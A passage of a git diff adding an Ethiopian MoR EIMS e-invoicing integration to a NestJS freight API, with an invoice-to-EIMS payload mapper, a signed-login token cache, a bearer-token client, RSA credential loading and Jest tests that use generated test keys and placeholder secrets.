() => { + it("renders the observed dd-MM-yyyyTHH:mm:ss shape with zero padding", () => { + expect(formatEimsDate(new Date(2025, 2, 21, 0, 0, 0))).toBe("21-03-2025T00:00:00"); + }); +}); diff --git a/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.ts b/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.ts new file mode 100644 index 000000000..864d9f829 --- /dev/null +++ b/apps/edr-freight-api/src/modules/billing/eims-invoice.mapper.ts @@ -0,0 +1,362 @@ +/** + * Pure mapper from an EDR invoice onto the Ethiopian MoR EIMS registration document + * (`POST https://core.mor.gov.et/v1/register`). + * + * Field names, casing and section layout are taken verbatim from the supplied + * `EimsCoreApiMockCollection2.postman_collection.json`. Note the payload spells the district + * `Wereda` even though the collection *variable* is named `sellerWoreda`. + * + * Scope: mapping only — no HTTP, no signing, no persistence, no counter allocation. Everything + * that does not live on the invoice (document number, counters, previous IRN, seller identity, + * tax treatment) is supplied by the caller and is never guessed here. + * + * Values that the collection only *demonstrates* by example — the date format, the meaning of an + * empty `PreviousIrn`, the `SystemType` enum, `PaymentTerm` values — are treated as observed, not + * authoritative: they are passed through or overridable rather than validated against a fixed set. + */ + +import { round2 } from "./invoice-settlement.util"; + +/** Only proven-required constant: the 400 SCHEMA ERROR sample rejects a payload without it. */ +const EIMS_VERSION = "1"; + +/** The only `DocumentDetails.Type` observed in the supplied material. */ +const EIMS_DOCUMENT_TYPE = "INV"; + +export interface EimsBuyerDetails { + City: string | null; + Email: string | null; + HouseNumber: string | null; + IdNumber: string | null; + IdType: string | null; + Tin: string; + LegalName: string; + Phone: string | null; + Region: string | null; + Country: string | null; + Zone: string | null; + Kebele: string | null; + VatNumber: string | null; + Wereda: string | null; +} + +export interface EimsSellerDetails { + City: string | null; + Email: string | null; + HouseNumber: string | null; + LegalName: string; + Locality: string | null; + Phone: string | null; + /** MoR region *code* (e.g. "13"), not a region name. */ + Region: string | null; + SubCity: string | null; + Tin: string; + VatNumber: string | null; + /** MoR wereda *code* (e.g. "574"). */ + Wereda: string | null; +} + +export interface EimsDocumentDetails { + DocumentNumber: string; + /** Observed format `dd-MM-yyyyTHH:mm:ss`. Rule seen in the collection: within 3 days of now. */ + Date: string; + Type: string; +} + +export interface EimsInvoiceItem { + Discount: number; + ExciseTaxValue: number; + HarmonizationCode: string | null; + NatureOfSupplies: string; + ItemCode: string; + ProductDescription: string; + PreTaxValue: number; + Quantity: number; + LineNumber: number; + TaxAmount: number; + TaxCode: string; + TotalLineAmount: number; + Unit: string; + UnitPrice: number; +} + +export interface EimsPaymentDetails { + Mode: string; + PaymentTerm: string; +} + +export interface EimsReferenceDetails { + PreviousIrn: string | null; + RelatedDocument: string | null; +} + +export interface EimsSourceSystem { + CashierName: string | null; + InvoiceCounter: number; + SalesPersonName: string | null; + SystemNumber: string; + SystemType: string; +} + +export interface EimsValueDetails { + Discount: number | null; + ExciseValue: number; + IncomeWithholdValue: number; + TaxValue: number; + TotalValue: number; + TransactionWithholdValue: number; + InvoiceCurrency: string; + /** Absent from the register sample, present on the verify response. Emitted only when supplied. */ + ExchangeRate?: number; +} + +export interface EimsInvoiceRequest { + BuyerDetails: EimsBuyerDetails; + DocumentDetails: EimsDocumentDetails; + ItemList: EimsInvoiceItem[]; + PaymentDetails: EimsPaymentDetails; + ReferenceDetails: EimsReferenceDetails; + SellerDetails: EimsSellerDetails; + SourceSystem: EimsSourceSystem; + TransactionType: string; + ValueDetails: EimsValueDetails; + Version: string; +} + +/** `body` of a successful `POST /v1/register`, as observed in the collection. */ +export interface EimsRegisterResponseBody { + irn: string; + ackDate: string; + signedQR: string; + signedInvoice: string; + status: string; + documentNumber: string; + errorMessage: string | null; +} + +/** Numeric columns arrive from pg as strings; every money field is normalised through `num`. */ +export interface EimsMapperLine { + chargeType: string; + description?: string | null; + quantity: number | string; + unitRate: number | string; + amount: number | string; + metadata?: Record | null; +} + +export interface EimsMapperCompany { + name: string; + tin: string; + vatNumber?: string | null; + phone?: string | null; + email?: string | null; + region?: string | null; + zone?: string | null; + woreda?: string | null; + kebele?: string | null; + houseNo?: string | null; + country?: string | null; +} + +/** + * Structurally what `BillingService.findById` returns — the only read path that loads the header, + * the buyer company and the lines together. + */ +export interface EimsMapperInvoice { + invoiceNumber: string; + currency: string; + issuedAt?: Date | string | null; + totalAmount: number | string; + company?: EimsMapperCompany | null; + lines: EimsMapperLine[]; +} + +/** + * Tax treatment for a single line. EIMS models `TaxCode`/`TaxAmount`/`ExciseTaxValue` per item, and + * different charge types may eventually be treated differently, so this is resolved per line. + * + * Nothing in this repo can supply it: `Invoice.taxAmount` is hardcoded to 0 with no caller ever + * setting it, `invoice_lines` has no tax column, and the rate catalogue has no fiscal field. That + * is the absence of a tax model, not evidence of zero-rating — hence no default here. + */ +export interface EimsLineTax { + code: string; + ratePercent: number; + exciseTaxValue: number; +} + +export interface EimsMapperContext { + systemNumber: string; + /** Observed values: POS, MAN, CRM, EFD, SYS (the collection prose also mentions ERP). */ + systemType: string; + /** Caller decides the source — our own `invoiceNumber` or a dedicated EIMS sequence. */ + documentNumber: string; + invoiceCounter: number; + /** Passed through verbatim; the collection shows `""` used for an unchained document. */ + previousIrn: string | null; + cashierName: string | null; + salesPersonName: string | null; + /** B2B / B2C — a tax classification, so the caller states it. */ + transactionType: string; + payment: { mode: string; term: string }; + /** Must return a treatment for every line, or throw. */ + taxForLine: (line: EimsMapperLine, lineNumber: number) => EimsLineTax; + natureOfSupplies: string; + /** Used when a line carries no `metadata.unit`. */ + unitDefault: string; + incomeWithholdValue: number; + transactionWithholdValue: number; + /** Null for an ordinary invoice; set only for a real related-document case. */ + relatedDocument?: string | null; + /** MoR numeric country code for the buyer; our DB stores the country name. */ + buyerCountryCode?: string | null; + buyerIdType?: string | null; + buyerIdNumber?: string | null; + buyerCity?: string | null; + /** Required when the invoice currency is not ETB. */ + exchangeRate?: number | null; + invoiceDiscount?: number | null; + /** Override while the observed `dd-MM-yyyyTHH:mm:ss` format is unconfirmed by MoR. */ + formatDate?: (issuedAt: Date) => string; +} + +const num = (v: number | string): number => { + const n = Number(v); + if (!Number.isFinite(n)) throw new Error(`EIMS mapping: expected a numeric value, got ${String(v)}`); + return n; +}; + +const pad = (n: number, width = 2): string => String(n).padStart(width, "0"); + +/** Observed EIMS document-date format: `dd-MM-yyyyTHH:mm:ss`, no timezone marker. */ +export const formatEimsDate = (issuedAt: Date): string => + `${pad(issuedAt.getDate())}-${pad(issuedAt.getMonth() + 1)}-${issuedAt.getFullYear()}` + + `T${pad(issuedAt.getHours())}:${pad(issuedAt.getMinutes())}:${pad(issuedAt.getSeconds())}`; + +/** + * Map one loaded invoice onto an EIMS registration document. + * + * Throws rather than emitting a payload EIMS would reject opaquely: missing buyer TIN, no lines, + * an unissued invoice, unresolved line tax, a line/total mismatch, or a non-ETB invoice with no + * exchange rate. + */ +export function toEimsInvoice( + invoice: EimsMapperInvoice, + seller: EimsSellerDetails, + context: EimsMapperContext, +): EimsInvoiceRequest { + const company = invoice.company; + if (!company || !company.tin?.trim()) { + throw new Error(`EIMS mapping: invoice ${invoice.invoiceNumber} has no buyer company TIN`); + } + if (!invoice.lines?.length) { + throw new Error(`EIMS mapping: invoice ${invoice.invoiceNumber} has no lines`); + } + if (!invoice.issuedAt) { + throw new Error(`EIMS mapping: invoice ${invoice.invoiceNumber} is not issued (issuedAt is null)`); + } + if (invoice.currency !== "ETB" && context.exchangeRate == null) { + throw new Error( + `EIMS mapping: invoice ${invoice.invoiceNumber} is in ${invoice.currency} and needs an exchangeRate`, + ); + } + + const issuedAt = invoice.issuedAt instanceof Date ? invoice.issuedAt : new Date(invoice.issuedAt); + if (Number.isNaN(issuedAt.getTime())) { + throw new Error(`EIMS mapping: invoice ${invoice.invoiceNumber} has an unparseable issuedAt`); + } + + const ItemList: EimsInvoiceItem[] = invoice.lines.map((line, index) => { + const lineNumber = index + 1; + const tax = context.taxForLine(line, lineNumber); + if (!tax || !tax.code || !Number.isFinite(tax.ratePercent) || !Number.isFinite(tax.exciseTaxValue)) { + throw new Error( + `EIMS mapping: unresolved tax treatment for line ${lineNumber} (${line.chargeType}) ` + + `on invoice ${invoice.invoiceNumber}`, + ); + } + + const PreTaxValue = round2(num(line.amount)); + const TaxAmount = round2((PreTaxValue * tax.ratePercent) / 100); + const ExciseTaxValue = round2(tax.exciseTaxValue); + const unit = typeof line.metadata?.unit === "string" ? line.metadata.unit : context.unitDefault; + + return { + Discount: 0, + ExciseTaxValue, + HarmonizationCode: null, + NatureOfSupplies: context.natureOfSupplies, + ItemCode: line.chargeType, + ProductDescription: line.description?.trim() || line.chargeType, + PreTaxValue, + Quantity: round2(num(line.quantity)), + LineNumber: lineNumber, + TaxAmount, + TaxCode: tax.code, + TotalLineAmount: round2(PreTaxValue + TaxAmount + ExciseTaxValue), + Unit: unit, + UnitPrice: round2(num(line.unitRate)), + }; + }); + + const preTaxTotal = round2(ItemList.reduce((sum, item) => sum + item.PreTaxValue, 0)); + const invoiceTotal = round2(num(invoice.totalAmount)); + if (Math.abs(preTaxTotal - invoiceTotal) > 0.01) { + throw new Error( + `EIMS mapping: invoice ${invoice.invoiceNumber} lines sum to ${preTaxTotal} ` + + `but the invoice total is ${invoiceTotal}`, + ); + } + + const ValueDetails: EimsValueDetails = { + Discount: context.invoiceDiscount ?? null, + ExciseValue: round2(ItemList.reduce((sum, item) => sum + item.ExciseTaxValue, 0)), + IncomeWithholdValue: context.incomeWithholdValue, + TaxValue: round2(ItemList.reduce((sum, item) => sum + item.TaxAmount, 0)), + TotalValue: round2(ItemList.reduce((sum, item) => sum + item.TotalLineAmount, 0)), + TransactionWithholdValue: context.transactionWithholdValue, + InvoiceCurrency: invoice.currency, + }; + if (context.exchangeRate != null) ValueDetails.ExchangeRate = context.exchangeRate; + + return { + BuyerDetails: { + City: context.buyerCity ?? null, + Email: company.email ?? null, + HouseNumber: company.houseNo ?? null, + IdNumber: context.buyerIdNumber ?? null, + IdType: context.buyerIdType ?? null, + Tin: company.tin, + LegalName: company.name, + Phone: company.phone ?? null, + Region: company.region ?? null, + Country: context.buyerCountryCode ?? null, + Zone: company.zone ?? null, + Kebele: company.kebele ?? null, + VatNumber: company.vatNumber ?? null, + Wereda: company.woreda ?? null, + }, + DocumentDetails: { + DocumentNumber: context.documentNumber, + Date: (context.formatDate ?? formatEimsDate)(issuedAt), + Type: EIMS_DOCUMENT_TYPE, + }, + ItemList, + PaymentDetails: { Mode: context.payment.mode, PaymentTerm: context.payment.term }, + ReferenceDetails: { + PreviousIrn: context.previousIrn, + RelatedDocument: context.relatedDocument ?? null, + }, + SellerDetails: seller, + SourceSystem: { + CashierName: context.cashierName, + InvoiceCounter: context.invoiceCounter, + SalesPersonName: context.salesPersonName, + SystemNumber: context.systemNumber, + SystemType: context.systemType, + }, + TransactionType: context.transactionType, + ValueDetails, + Version: EIMS_VERSION, + }; +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts new file mode 100644 index 000000000..1ff0d0463 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-auth.service.spec.ts @@ -0,0 +1,190 @@ +import { HttpService } from "@nestjs/axios"; +import { ConfigService } from "@nestjs/config"; +import { AxiosError, AxiosHeaders } from "axios"; +import { of, throwError } from "rxjs"; +import { EimsConfig } from "../../config/eims.config"; +import { EimsAuthService } from "./eims-auth.service"; +import { EimsSignerService } from "./eims-signer.service"; + +const CLIENT_SECRET = "super-secret-value"; +const API_KEY = "super-secret-apikey"; + +const cfg = (over: Partial = {}): EimsConfig => ({ + enabled: true, + baseUrl: "https://core.mor.gov.et", + clientId: "cid", + clientSecret: CLIENT_SECRET, + apiKey: API_KEY, + tin: "0000034558", + systemNumber: "B0360154BA", + systemType: "SYS", + privateKeyPath: "/dev/null", + certificatePath: "/dev/null", + httpTimeoutMs: 30_000, + tokenSkewMs: 45_000, + ...over, +}); + +const loginBody = (accessToken: string, expiresIn = 3600) => ({ + data: { accessToken, refreshToken: "refresh-1", encryptionKey: null, expiresIn }, + status: "SUCCESS", +}); + +/** Stub signer: the real signing path has its own spec and needs no key material here. */ +const signer = { + signRequest: (request: T) => ({ request, signature: "SIGNATURE", certificate: "CERTIFICATE" }), +} as unknown as EimsSignerService; + +const build = (post: jest.Mock, config: EimsConfig = cfg()) => + new EimsAuthService( + { post } as unknown as HttpService, + { get: () => config } as unknown as ConfigService, + signer, + ); + +const axiosErr = (status: number, data: unknown) => + new AxiosError("Request failed", undefined, undefined, undefined, { + status, + statusText: "", + data, + headers: new AxiosHeaders(), + config: { headers: new AxiosHeaders() }, + }); + +describe("EimsAuthService.getValidAccessToken", () => { + it("posts the signed login envelope to /auth/login with no Authorization header", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + + await build(post).getValidAccessToken(); + + expect(post).toHaveBeenCalledTimes(1); + const [url, body, options] = post.mock.calls[0]; + expect(url).toBe("https://core.mor.gov.et/auth/login"); + expect(options.headers).toEqual({ "Content-Type": "application/json" }); + expect(options.headers.Authorization).toBeUndefined(); + + expect(typeof body).toBe("string"); + expect(JSON.parse(body)).toEqual({ + request: { clientId: "cid", clientSecret: CLIENT_SECRET, apikey: API_KEY, tin: "0000034558" }, + signature: "SIGNATURE", + certificate: "CERTIFICATE", + }); + }); + + it("returns the access token from data.accessToken", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + await expect(build(post).getValidAccessToken()).resolves.toBe("token-1"); + }); + + it("reuses a cached token instead of logging in again", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + const auth = build(post); + + await auth.getValidAccessToken(); + await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + expect(post).toHaveBeenCalledTimes(1); + }); + + it("re-authenticates a skew-window before the token actually expires", async () => { + const post = jest + .fn() + .mockReturnValueOnce(of({ data: loginBody("token-1", 100) })) // 100s ttl, 45s skew ⇒ usable 55s + .mockReturnValueOnce(of({ data: loginBody("token-2") })); + const auth = build(post); + const start = Date.now(); + const clock = jest.spyOn(Date, "now"); + + try { + clock.mockReturnValue(start); + await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + + clock.mockReturnValue(start + 50_000); // inside the window: still cached + await expect(auth.getValidAccessToken()).resolves.toBe("token-1"); + expect(post).toHaveBeenCalledTimes(1); + + clock.mockReturnValue(start + 56_000); // past ttl-minus-skew, before the real 100s expiry + await expect(auth.getValidAccessToken()).resolves.toBe("token-2"); + expect(post).toHaveBeenCalledTimes(2); + } finally { + clock.mockRestore(); + } + }); + + it("logs in again after invalidate()", async () => { + const post = jest + .fn() + .mockReturnValueOnce(of({ data: loginBody("token-1") })) + .mockReturnValueOnce(of({ data: loginBody("token-2") })); + const auth = build(post); + + await auth.getValidAccessToken(); + auth.invalidate(); + await expect(auth.getValidAccessToken()).resolves.toBe("token-2"); + expect(post).toHaveBeenCalledTimes(2); + }); + + it("performs exactly one login for many concurrent callers", async () => { + const post = jest.fn().mockReturnValue(of({ data: loginBody("token-1") })); + const auth = build(post); + + const tokens = await Promise.all(Array.from({ length: 20 }, () => auth.getValidAccessToken())); + + expect(post).toHaveBeenCalledTimes(1); + expect(new Set(tokens)).toEqual(new Set(["token-1"])); + }); + + it("refuses to call the gateway when EIMS is disabled", async () => { + const post = jest.fn(); + await expect(build(post, cfg({ enabled: false })).getValidAccessToken()).rejects.toThrow( + /EIMS integration is disabled/, + ); + expect(post).not.toHaveBeenCalled(); + }); + + it("rejects a 200 response that carries no access token", async () => { + const post = jest.fn().mockReturnValue(of({ data: { data: {}, status: "SUCCESS" } })); + await expect(build(post).getValidAccessToken()).rejects.toThrow(/returned no accessToken/); + }); + + it("surfaces gateway errors without leaking credentials or the envelope", async () => { + const post = jest.fn().mockReturnValue( + throwError(() => + axiosErr(401, { + message: "GATEWAY ERROR", + statusCode: 401, + code: "4400", + details: [{ errorMessage: "Invalid Credentials" }], + // Fields the gateway must never echo back into our logs or exceptions: + signature: "SIGNATURE", + certificate: "CERTIFICATE", + accessToken: "leaked-token", + }), + ), + ); + + const error = (await build(post) + .getValidAccessToken() + .catch((e: Error) => e)) as Error & { response?: unknown }; + const serialized = JSON.stringify({ message: error.message, response: error.response }); + + expect(error.message).toContain("EIMS login failed (401)"); + expect(error.message).toContain("Invalid Credentials"); + for (const secret of [CLIENT_SECRET, API_KEY, "SIGNATURE", "CERTIFICATE", "leaked-token"]) { + expect(serialized).not.toContain(secret); + } + }); + + it("maps a timeout to a TIMEOUT failure without a status", async () => { + const timeout = new AxiosError("timeout of 30000ms exceeded", "ECONNABORTED"); + const post = jest.fn().mockReturnValue(throwError(() => timeout)); + + await expect(build(post).getValidAccessToken()).rejects.toThrow(/EIMS login timed out/); + }); + + it("maps an unreachable gateway to a NETWORK failure", async () => { + const refused = new AxiosError("connect ECONNREFUSED", "ECONNREFUSED"); + const post = jest.fn().mockReturnValue(throwError(() => refused)); + + await expect(build(post).getValidAccessToken()).rejects.toThrow(/could not reach the gateway/); + }); +}); diff --git a/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts b/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts new file mode 100644 index 000000000..99af70c57 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-auth.service.ts @@ -0,0 +1,116 @@ +import { HttpService } from "@nestjs/axios"; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { firstValueFrom } from "rxjs"; +import { EimsConfig } from "../../config/eims.config"; +import { EimsSignerService, toSignedBody } from "./eims-signer.service"; +import { EimsApiException, EimsConfigException, toEimsApiException } from "./eims.errors"; +import { EimsLoginRequest, EimsLoginResponse } from "./eims.types"; + +interface TokenCache { + accessToken: string; + /** Epoch ms, already reduced by the configured skew. */ + expiresAt: number; +} + +/** Used when the gateway omits `expiresIn`; the observed value is 3600. */ +const FALLBACK_EXPIRES_IN_SECONDS = 3600; + +/** + * EIMS authentication: signed `POST /auth/login`, plus an in-memory access-token cache. + * + * Login is the one EIMS call that carries no bearer token, which is why it lives here rather than + * in the generic client. Tokens are held in memory only — never persisted, never logged, never + * returned to a frontend. + */ +@Injectable() +export class EimsAuthService { + private readonly logger = new Logger(EimsAuthService.name); + private cache: TokenCache | null = null; + private loginInFlight: Promise | null = null; + + constructor( + private readonly http: HttpService, + private readonly config: ConfigService, + private readonly signer: EimsSignerService, + ) {} + + private get cfg(): EimsConfig { + return this.config.get("eims")!; + } + + /** + * A non-expired access token, logging in if needed. Concurrent callers share one login: the + * first caller stores the in-flight promise and everyone else awaits it. + */ + async getValidAccessToken(): Promise { + if (this.cache && Date.now() < this.cache.expiresAt) { + return this.cache.accessToken; + } + if (this.loginInFlight) return this.loginInFlight; + + this.loginInFlight = this.login(); + try { + return await this.loginInFlight; + } finally { + this.loginInFlight = null; + } + } + + /** Drop the cached token — called after a 401 so the next request re-authenticates. */ + invalidate(): void { + this.cache = null; + } + + private async login(): Promise { + const cfg = this.cfg; + if (!cfg.enabled) { + throw new EimsConfigException("EIMS integration is disabled; set EIMS_ENABLED=true to use it"); + } + + const request: EimsLoginRequest = { + clientId: cfg.clientId, + clientSecret: cfg.clientSecret, + apikey: cfg.apiKey, + tin: cfg.tin, + }; + const body = toSignedBody(this.signer.signRequest(request)); + + let response: EimsLoginResponse; + try { + const res = await firstValueFrom( + this.http.post(`${cfg.baseUrl}/auth/login`, body, { + headers: { "Content-Type": "application/json" }, + timeout: cfg.httpTimeoutMs, + }), + ); + response = res.data; + } catch (err) { + const mapped = toEimsApiException(err, "login"); + this.logger.error(mapped.message); + throw mapped; + } + + const accessToken = response?.data?.accessToken; + if (!accessToken) { + throw new EimsApiException("UNKNOWN", "EIMS login returned no accessToken"); + } + + const expiresIn = + Number.isFinite(response.data.expiresIn) && response.data.expiresIn > 0 + ? response.data.expiresIn + : FALLBACK_EXPIRES_IN_SECONDS; + + // TODO: implement `POST /auth/refresh-token` and hold `response.data.refreshToken`. The + // collection shows a bare `{refreshToken}` body with no envelope, but it also carries unsigned + // examples of calls that do require signing, so whether refresh must be signed is unconfirmed. + // Until MoR confirms it, an expired token just triggers a fresh login — `expiresIn` is 3600s, + // so that is one extra call an hour. + this.cache = { + accessToken, + expiresAt: Date.now() + Math.max(expiresIn * 1000 - cfg.tokenSkewMs, 1000), + }; + this.logger.log(`EIMS login succeeded; token cached for ~${expiresIn}s`); + return accessToken; + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-client.service.ts b/apps/edr-freight-api/src/modules/eims/eims-client.service.ts new file mode 100644 index 000000000..04418cf52 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-client.service.ts @@ -0,0 +1,67 @@ +import { HttpService } from "@nestjs/axios"; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { firstValueFrom } from "rxjs"; +import { EimsConfig } from "../../config/eims.config"; +import { EimsAuthService } from "./eims-auth.service"; +import { EimsSignerService, toSignedBody } from "./eims-signer.service"; +import { toEimsApiException } from "./eims.errors"; + +/** + * Foundation for EIMS's bearer-authenticated endpoints (`/v1/register`, `/v1/verify`, …). + * + * Login is not routed through here: `/auth/login` carries no bearer token and lives in + * `EimsAuthService`. Nothing calls `postSigned` yet — invoice registration is a later phase. + */ +@Injectable() +export class EimsClientService { + private readonly logger = new Logger(EimsClientService.name); + + constructor( + private readonly http: HttpService, + private readonly config: ConfigService, + private readonly auth: EimsAuthService, + private readonly signer: EimsSignerService, + ) {} + + private get cfg(): EimsConfig { + return this.config.get("eims")!; + } + + /** + * Sign `request`, POST it to `path` with a valid bearer token, and return the parsed response. + * A 401 invalidates the cached token and retries exactly once. + */ + async postSigned(path: string, request: TRequest): Promise { + return this.send(path, request, false); + } + + private async send( + path: string, + request: TRequest, + isRetry: boolean, + ): Promise { + const cfg = this.cfg; + const token = await this.auth.getValidAccessToken(); + const body = toSignedBody(this.signer.signRequest(request)); + + try { + const res = await firstValueFrom( + this.http.post(`${cfg.baseUrl}${path}`, body, { + headers: { "Content-Type": "application/json", Authorization: `Bearer ${token}` }, + timeout: cfg.httpTimeoutMs, + }), + ); + return res.data; + } catch (err) { + const mapped = toEimsApiException(err, `POST ${path}`); + if (mapped.kind === "AUTH" && !isRetry) { + this.logger.warn(`EIMS rejected the token on ${path}; re-authenticating once`); + this.auth.invalidate(); + return this.send(path, request, true); + } + this.logger.error(mapped.message); + throw mapped; + } + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-credentials.provider.ts b/apps/edr-freight-api/src/modules/eims/eims-credentials.provider.ts new file mode 100644 index 000000000..b68a4a32f --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-credentials.provider.ts @@ -0,0 +1,77 @@ +import { readFileSync } from "node:fs"; +import { KeyObject, createPrivateKey } from "node:crypto"; +import { Injectable, Logger } from "@nestjs/common"; +import { ConfigService } from "@nestjs/config"; +import { EimsConfig } from "../../config/eims.config"; +import { EimsConfigException } from "./eims.errors"; + +/** + * Loads the INSA-issued EIMS credentials from disk, once, and keeps them in memory. + * + * The certificate is sent as base64 of the **exact bytes of the issued file** — it is deliberately + * never parsed, re-encoded or re-exported, because that is what produced a working live login. + * The private key never leaves this process: it is only ever used to produce a signature. + */ +@Injectable() +export class EimsCredentialsProvider { + private readonly logger = new Logger(EimsCredentialsProvider.name); + private privateKey: KeyObject | null = null; + private certificateBase64: string | null = null; + + constructor(private readonly config: ConfigService) {} + + private get cfg(): EimsConfig { + return this.config.get("eims")!; + } + + /** RSA private key, parsed once. Throws a config error if the path is missing or unusable. */ + getPrivateKey(): KeyObject { + if (this.privateKey) return this.privateKey; + + const path = this.cfg.privateKeyPath; + if (!path) throw new EimsConfigException("EIMS_PRIVATE_KEY_PATH is not set"); + + let key: KeyObject; + try { + key = createPrivateKey(readFileSync(path)); + } catch (err) { + // The path is operational information, not a secret; the key material never appears. + throw new EimsConfigException( + `EIMS private key at ${path} could not be read or parsed: ${(err as Error).message}`, + ); + } + if (key.asymmetricKeyType !== "rsa") { + throw new EimsConfigException( + `EIMS private key at ${path} is ${key.asymmetricKeyType ?? "of unknown type"}; EIMS requires RSA`, + ); + } + + this.privateKey = key; + this.logger.log(`EIMS private key loaded (RSA-${key.asymmetricKeyDetails?.modulusLength ?? "?"})`); + return key; + } + + /** Base64 of the certificate file's exact bytes. No parsing, no re-encoding. */ + getCertificateBase64(): string { + if (this.certificateBase64) return this.certificateBase64; + + const path = this.cfg.certificatePath; + if (!path) throw new EimsConfigException("EIMS_CERTIFICATE_PATH is not set"); + + let bytes: Buffer; + try { + bytes = readFileSync(path); + } catch (err) { + throw new EimsConfigException( + `EIMS certificate at ${path} could not be read: ${(err as Error).message}`, + ); + } + if (bytes.length === 0) { + throw new EimsConfigException(`EIMS certificate at ${path} is empty`); + } + + this.certificateBase64 = bytes.toString("base64"); + this.logger.log(`EIMS certificate bundle loaded (${bytes.length} bytes)`); + return this.certificateBase64; + } +} diff --git a/apps/edr-freight-api/src/modules/eims/eims-signer.service.spec.ts b/apps/edr-freight-api/src/modules/eims/eims-signer.service.spec.ts new file mode 100644 index 000000000..5e408ddf7 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-signer.service.spec.ts @@ -0,0 +1,118 @@ +import { mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { createVerify, generateKeyPairSync } from "node:crypto"; +import { ConfigService } from "@nestjs/config"; +import { EimsCredentialsProvider } from "./eims-credentials.provider"; +import { EimsSignerService, toSignedBody } from "./eims-signer.service"; + +/** + * Test-only key material: generated per run, never a production key. The "certificate" fixture is + * an arbitrary byte blob — the point is that its exact bytes survive base64 round-tripping, not + * that it is a valid X.509 chain. + */ +const CERTIFICATE_FIXTURE = "Subject: CN=TEST\n-----BEGIN CERTIFICATE-----\nZm9vYmFy\n-----END CERTIFICATE-----\n"; + +let dir: string; +let keyPath: string; +let certPath: string; +let publicKeyPem: string; +let signer: EimsSignerService; + +beforeAll(() => { + dir = mkdtempSync(join(tmpdir(), "eims-signer-")); + keyPath = join(dir, "private_key.key"); + certPath = join(dir, "certificate.pem.txt"); + + const { privateKey, publicKey } = generateKeyPairSync("rsa", { modulusLength: 2048 }); + writeFileSync(keyPath, privateKey.export({ type: "pkcs8", format: "pem" })); + writeFileSync(certPath, CERTIFICATE_FIXTURE, "utf8"); + publicKeyPem = publicKey.export({ type: "spki", format: "pem" }).toString(); + + const config = { + get: () => ({ privateKeyPath: keyPath, certificatePath: certPath }), + } as unknown as ConfigService; + signer = new EimsSignerService(new EimsCredentialsProvider(config)); +}); + +afterAll(() => rmSync(dir, { recursive: true, force: true })); + +const login = () => ({ clientId: "cid", clientSecret: "secret", apikey: "key", tin: "0000000000" }); + +const verify = (payload: string, signature: string): boolean => + createVerify("RSA-SHA512").update(payload, "utf8").verify(publicKeyPem, signature, "base64"); + +describe("EimsSignerService", () => { + it("produces a signature that verifies against the matching public key", () => { + const signed = signer.signRequest(login()); + expect(verify(JSON.stringify(signed.request), signed.signature)).toBe(true); + }); + + it("fails verification when a single request field changes", () => { + const signed = signer.signRequest(login()); + const tampered = JSON.stringify({ ...signed.request, tin: "9999999999" }); + expect(verify(tampered, signed.signature)).toBe(false); + }); + + it("emits a 256-byte signature for an RSA-2048 key", () => { + const signed = signer.signRequest(login()); + expect(Buffer.from(signed.signature, "base64")).toHaveLength(256); + }); + + it("sends the certificate as base64 of the file's exact bytes", () => { + const signed = signer.signRequest(login()); + expect(signed.certificate).toBe(readFileSync(certPath).toString("base64")); + expect(Buffer.from(signed.certificate, "base64").equals(readFileSync(certPath))).toBe(true); + }); + + it("signs the inner request only, and the wire body carries those exact bytes", () => { + const signed = signer.signRequest(login()); + const body = toSignedBody(signed); + + // The signed string appears verbatim inside the transmitted envelope. + expect(body).toContain(`"request":${JSON.stringify(signed.request)}`); + // Compact, never pretty-printed. + expect(body).not.toMatch(/\n/); + expect(JSON.parse(body)).toEqual({ + request: login(), + signature: signed.signature, + certificate: signed.certificate, + }); + }); + + it("does not mutate the request object", () => { + const request = login(); + const signed = signer.signRequest(request); + expect(signed.request).toBe(request); + expect(request).toEqual(login()); + }); + + it("reuses the loaded key and certificate across calls", () => { + const first = signer.signRequest(login()); + const second = signer.signRequest(login()); + // PKCS#1 v1.5 is deterministic: same key + same payload ⇒ identical signature. + expect(second.signature).toBe(first.signature); + expect(second.certificate).toBe(first.certificate); + }); +}); + +describe("EimsCredentialsProvider", () => { + const providerFor = (paths: { privateKeyPath?: string; certificatePath?: string }) => + new EimsCredentialsProvider({ get: () => paths } as unknown as ConfigService); + + it("fails clearly when the key path is unset", () => { + expect(() => providerFor({}).getPrivateKey()).toThrow(/EIMS_PRIVATE_KEY_PATH is not set/); + }); + + it("fails clearly when the key file is missing", () => { + expect(() => providerFor({ privateKeyPath: join(dir, "nope.key") }).getPrivateKey()).toThrow( + /could not be read or parsed/, + ); + }); + + it("fails clearly when the certificate file is empty", () => { + const emptyPath = join(dir, "empty.txt"); + writeFileSync(emptyPath, ""); + expect(() => providerFor({ certificatePath: emptyPath }).getCertificateBase64()).toThrow(/is empty/); + }); +}); diff --git a/apps/edr-freight-api/src/modules/eims/eims-signer.service.ts b/apps/edr-freight-api/src/modules/eims/eims-signer.service.ts new file mode 100644 index 000000000..babec6b44 --- /dev/null +++ b/apps/edr-freight-api/src/modules/eims/eims-signer.service.ts @@ -0,0 +1,37 @@ +import { createSign } from "node:crypto"; +import { Injectable } from "@nestjs/common"; +import { EimsCredentialsProvider } from "./eims-credentials.provider"; +import { EimsSignedRequest } 